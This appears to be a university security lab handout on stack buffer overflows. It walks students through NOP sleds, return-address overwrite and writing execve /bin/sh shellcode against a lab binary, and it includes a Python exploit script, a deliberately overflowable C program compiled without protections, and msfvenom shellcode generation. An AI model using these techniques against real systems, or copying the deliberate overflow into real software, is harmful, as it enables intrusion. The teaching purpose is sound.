Lab 2: Controling Execution & Shellcode

Lab 2: Controling Execution & Shellcode

Overview

💡

In this lab you will learn to craft an input that hijacks the control flow of a program.

Goals:

  • Understand stack frames and return addresses
  • Practice using gdb

Estimated Time: 45 Minutes

Instructions

Analyze Program Security Restrictions

Using a common tool called checksec you can see information about what security properties this challenge program was compiled with. The only version on the class VM is the one bundled with the gef plugin for gdb. Run the following command:

Shell
gdb -q -ex 'checksec' -ex 'q' ./challenge.bin
Question
Explain what each of the security checks mean. Does the stack region for this program have execute permissions enabled?

Build a NOP sled

Append to your buffer a large number of nop (no operation) instructions. Google, to figure out what to actually put as the bytes for your buffer. Change the return address from the secret_function address to a stack address pointing into your nop instructions. Verify this by stepping through the code with gdb.

This technique is not particularly necessary for now because this program has a lot of security features turned off, but it can be very helpful for debugging!

Write Your Shellcode

The term “shellcode” comes from that fact that people exploiting buffer overflows wanted to spawn a shell. This can be done with a single syscall (execve) which will replace the current program with the program specified by the first argument. You will recreate the traditional shellcode payload by writing some x86_64 assembly code that spawns /bin/sh.

Syscall Info

First things first though, you need to know how to execute a syscall in assembly. This is normally done with the syscall instruction. This will execute a certain syscall based on which number is in RAX. Here are some helpful resources:

Question
What number must be in RAX for the execve syscall? What registers are used for the arguments?

Shellcode Tester

Use the following code to write and test your shellcode:

shellcode_tester.zip

This code is based off of this blog post and the original source can be found on github. To use it, write some assembly instructions in the shellcode.s file and then run make. This will compile your shellcode for you and insert it into the binary. Then you can debug the program with gdb to step through your shellcode.

Shell
# After making edits to shellcode.s
> make
> x64_shellcode_tester
Question
Include a screenshot of your working shellcode.

Run Your Shellcode!

The last thing to do is try your shellcode on the real challenge binary! If you use the tester above, then this will generate a shelcode.bin file with the bytes of your shellcode. To convert it to the python byte-string form, you can use this command:

Shell
hexdump -v -e '"x" 1/1 "%02x" ""' shellcode.bin | sed 's/x/\\\\x/g'
# \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41...

Note

The above is a really hacky thing I found online. If anyone has a cleaner suggestion let us know!

Click to reveal..

Check program security

NOP Example

import sys
import struct

# Data
nops = b"\x90" * 104
retaddr = struct.pack("<Q", 0x4141414141414141)

# Write to output
sys.stdout.buffer.write(nops + retaddr)

6c6
< retaddr = struct.pack("<Q", 0x4141414141414141)
---
> retaddr = struct.pack("<Q", 0x00007FFFFFFFE070)

Shellcode Samples

You can find lots of versions online, but learning how to do it yourself is absolutely worthwhile!

Shell
# https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

# Use msfvenom to generate shellcode
msfvenom --payload linux/x64/exec -f python
# Create database... etc...
# ...

Troubleshooting Shellcode

You have to be careful with your shellcode on x86_64 based systems because you may get error with alignment issues. Basically, when you make a function call (even a syscall) the stack needs to be aligned or the processor will give you a memory fault. If you run into this issue, try adjusting your NOP sled padding and try again.

I also ran into some issues where it worked in gdb and not for the real program. The consensus online seems to be that this is mainly due to gdb adding environment variables that affect stack offsets.

You can verify that the stack offsets are the same with this test program which is also exploitable:

main.c
/* Based on an idea from:  */
#include <stdint.h>
#include <stdio.h>

void vulnerable_function() {
  uint8_t buffer[0x100];

  printf("Input: ");
  fgets((char *)&buffer, 0x200, stdin);

  register size_t stack_pointer asm("rsp");
  printf("\n$Stack Pointer: %#016zx\n", stack_pointer);
}

int main(int argc, char *argv[]) {
  vulnerable_function();
  return 0;
}

Compile with:

Shell
# Ignore the warning about the buffer overflow. That's the
# whole point lol.
gcc main.c -o test -fno-stack-protector -z execstack

Finally, once you get your shellcode executing it might just exit immediately and not print anything. This is because the program detects when you pipe input from a file to a program using the pipe (|) operator or input redirection (<) rather than connecting to your terminal. You can get around this by tricking the shell into keeping the input connection open with another cat command (Source).

Fish
{python3 solution.py; cat } | ./challenge.bin
Bash
(python3 solution.py; cat ) | ./challenge.bin

Submission

📝
Submit a markdown file with any code you wrote and the answers to questions to ELMS.